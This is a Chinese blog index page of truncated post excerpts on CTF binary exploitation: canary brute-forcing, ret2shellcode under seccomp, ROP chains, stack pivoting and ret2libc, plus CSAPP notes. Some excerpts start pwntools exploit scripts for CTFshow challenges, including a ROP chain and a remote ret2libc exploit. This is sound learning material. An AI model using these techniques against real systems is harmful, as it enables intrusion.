canary爆破与简单的整数溢出
由于这道题的非常非常重要,我必须单独开一个blog讲解一下 canary保护一个开了canary保护的栈如下 [高地址]参数EIP(返回地址)EBPcanary局部变量(缓冲区buf)[低地址] 为了防止我们覆盖EIP,程序在缓冲区和返回地址之间插了一个随机生成的数值,即canary,如果canary的值和原本不符(比如被我们覆盖成了AAAAAAAA),程序会调用 __stack_chk_fail 函数,终止进程 我们可以把canary理解为cookie 因此,我们必须要在canary的位置覆盖上正确的值,才能覆盖到返回地址,目前有两种办法,泄露和爆破,先讲一下后者 爆破canary爆破的前提条件并不是所有的 Canary 都能爆破,通常需要满足以下两个条件之一: Fork 机制(BROP 中常见):服务器使用 fork() 创建子进程来处理请求。子进程的内存布局(包括 Canary)是父进程的副本,因此每次连接时的 Canary 都是一样的 静态 Canary:Canary 的值是固定的(例如从固定文件中读取,且文件内容不变),或者随机数种子被固定了。只要我们重新连接,Cana...
ret2shellcode与沙箱
这一块的题难度上升的有点快,已经涉及到基本的汇编知识了,并且明显看出来在为接下来的ret2syscall做铺垫,exp也是不好理解,接下来进行详细的讲解 沙箱seccomp函数,它会阻止进程的一部分系统调用,比如我们的execve,这种情况下我们无法直接拿到shell,只能去通过orw,即open-read-write去读出flag文件 seccomp-tools dump ./pwn 我们可以通过上述指令查看允许的系统调用 pwntools的前置语法基础我们需要一些pwntools的语法,不过这并不算难 asm(code, vma=0, extract=True, arch=None, os=None) 后面三个不用管,我们重点看前两个 code是必填的,它包含汇编指令的字符串vms是虚拟内存地址,是指定代码被编译时所处的起始地址 asm(shellcraft.你要调用的函数) shellcraft不仅可以帮助我们生成shellcode的汇编,还可以帮我们生成某个函数的汇编代码,这样就不需要我们自己生成了 如果我们需...
初识ropchain和one_gadget
Ropchain一把梭工具,非常好用,比较简单就不介绍了 eg:CTFshow pwn73 1234567891011121314151617181920212223242526272829303132333435363738394041from pwn import *from struct import packio=process("./pwn73")# Padding goes herep = cyclic(0x18+4)p += pack('<I', 0x0806f02a) # pop edx ; retp += pack('<I', 0x080ea060) # @ .datap += pack('<I', 0x080b81c6) # pop eax ; retp += '/bin'p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; retp += pack(...
初识栈迁移
目的:将栈迁移到bss heap libc等上 leavemove esp ebppop ebp 把栈顶的值弹给EBP寄存器 retpop rip 从当前位置弹出值兵赋给ripjmp rip 函数的退出 move esp ebp 销毁栈pop ebp 给ebp赋值 把父函数ebp改成bss段的地址 销毁步骤正常ebp被修改 -00000028 s db ? 数组s-00000004 var_4 dd ? ida没识别出来的局部变量,表示距离ebp的距离为4+00000000 旧的ebp+00000004 r db 4 dup(?) 返回地址再往下 参数
ret2shellcode刷题
首先写在前面:所有题都是没有开NX保护的,我都checksec过了,就不再每一题都贴了 ctfshow pwn60 入门难度shellcode 考点:strncpy函数 123456789101112int __cdecl main(int argc, const char **argv, const char **envp){ char s[100]; // [esp+1Ch] [ebp-64h] BYREF setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 1, 0); puts("CTFshow-pwn can u pwn me here!!"); gets(s); strncpy(buf2, s, 0x64u); printf("See you ~"); return 0;} 关于strncpy函数的介绍: https://www.runoob.com/cprogramming/c-function-strncpy.html 123456789f...
ret2libc进阶刷题
写了这么多ret2libc的博客,下面我们开始正式进入刷题,正好ctf关于ret2libc的题还有不少,那么我们就一道一道来。简单题只大体贴一下题目和exp,难题可以展开讲讲 ctfshow pwn47(32位) ez ret2libc 确实是很简单,给我打印了函数的真实地址,不过都无需了,直接套模板,改个偏移量和文件名完事 12345678910111213141516171819202122232425262728293031#!/usr/bin/env pythonfrom pwn import *from LibcSearcher import LibcSearchercontext.log_level = 'debug'context.binary = './pwn47'#sh = process('./pwn47')sh = remote('pwn.challenge.ctf.show', 28229)pwn47 = ELF('./pwn47')puts_plt =...
ret2libc进阶
前置知识点实际上,在之前的ret2libc题目中,我们还没有接触到ret2libc的核心,因为plt表里是存在现成的system的,但是大多数题目中,根本就没有出现或者引用过system函数,即使动态表里有system函数,程序也不会建立对应的plt表 因此,我们必须要知道system函数的地址,即进行经典的泄露libc的操作,这对于我们对ROP链的使用要求又上了一个台阶,因此我个人认为这一块到了pwn里真正开始上难度的地方了 在开始之前,我们必须要知道几个前置知识点,每一块想要掌握都需要费一番功夫 延迟绑定机制我们知道,在动态链接时,我们需要从动态链接库链接外部函数,那么这个链接外部函数的过程是怎么样的呢 实际上,程序在第一次调用某个外部函数前,程序是不知道这个函数的具体位置的,也只有在第一次调用时,它才会去找这个函数在libc里的真实地址 每次执行 func@plt 时,程序首先执行 jmp [got.func],即jmp到got表里对应函数的地址,接下来程序会做一个判断: 如果 GOT 中记录的是跳板地址(还没有被解析),也就是ida里看到的offset func地址,则...
初识64位下的ret2libc
写在前面:这种类型的题其实不好归纳是ret2text还是ret2libc,我这里按照ctfwiki的分类方法,将存在完整可执行的system(bin/sh)后门函数的题型归纳为ret2text,将需要利用基本的ROP技术的题型归纳位ret2libc 我们知道,在32位系统下,参数是直接被放在栈上的,不需要寄存器,因此只需要简单的覆盖到后门函数地址即可,但是在64位系统下则不一样了 64位系统的函数调用约定linux下64位系统采用System V AMD64调用约定,这里我会在阅读完CSAPP第三章后做更加详细的解释,下面是一些简要解释 参数传递方式 参数编号 寄存器 第 1 个 RDI 第 2 个 RSI 第 3 个 RDX 第 4 个 RCX 第 5 个 R8 第 6 个 R9 函数的前六个参数从右往左先被存入寄存器,再通过call调用函数 foo(1, 2, 3, 4, 5, 6, 7); mov rdi, 1mov rsi, 2mov rdx, 3mov rcx, 4mov r8, 5mov r9, 6push 7 #...
pwn前置基础大合集(更新中)
这篇博客主要是记录一下pwn的底层知识,主要知识来来自CSAPP,维基百科,b站网课等 操作系统1.发展历史1969 UNIX系统 肯尼斯·蓝·汤普森&丹尼斯·麦卡利斯泰尔·里奇奠定了现代操作系统,“一切皆文件” 1984 ios mac 苹果操作系统1985 window1.01991 linux 开源免费 2.LINUX下计算机的控制流程用户——应用软件——操作系统——驱动程序——硬件,从左到右逐层调用,其中操作系统包括系统软件和系统内核,内核负责管理它负责直接管理系统的进程、内存、设备驱动程序、文件和网络系统 这里我还是觉得CSAPP讲的非常好,于是结合CSAPP讲一下 刚才讲了,计算机的控制是逐层调用的,所以可以把操作系统看作是是应用程序和硬件之间的一层软件,应用程序必须通过操作系统访问处理器,主存,I/O设备等硬件 因此,操作系统的两大功能是确保上层的应用软件既能控制,又不滥用下层的硬件 操作系统通过进程、虚拟内存和文件来实现两大功能 进程 虚拟内存 见CSAPP第二章 文件 权限的体现:可读可写可执行 可读可写不可执行 可读不可写不可执行
CSAPP第二章札记(更新中)
信息的存储二进制起源悠久,可以追溯到埃及,印度巴拉巴拉,莱布尼茨进行了系统的发展,后由乔治·布尔进一步完善 相比十进制更容易表示,存储和传输,比如高电压表示1,低电压表示0 编码无符号编码 大于等于零的数补码 带正负号的整数浮点数 信息存储和十六进制表示法程序将内存看成一个很大的字节数组,称为虚拟内存内存的每一个字节由唯一的数字来标识,称为它的地址所有地址的集合,称为虚拟内存空间 在C语言中,我们可以通过指针引用数组元素,指针的值即某个对象的位置 1个字节(byte)或者说块,由8个位(bit)组成,一个位由0或1两种可能,最大是全部为1,即11111111;最小是0,即00000000。那么如果用十进制表示,最大值为255 字节作为计算机可寻址的最小单位,而并不是位 0x开头表示16进制(hex),具体的转换可以查询表格 字数据大小字长字(word),是CPU一次能处理的数据宽度单位 字长(Word Length),是字所用单位的大小,是CPU一次能处理字节(或位)的长度,也通常是一个寄存器的宽度。比如,32位系统可以一次处理字长为32位,即字4个字节的数据,64位系统可...












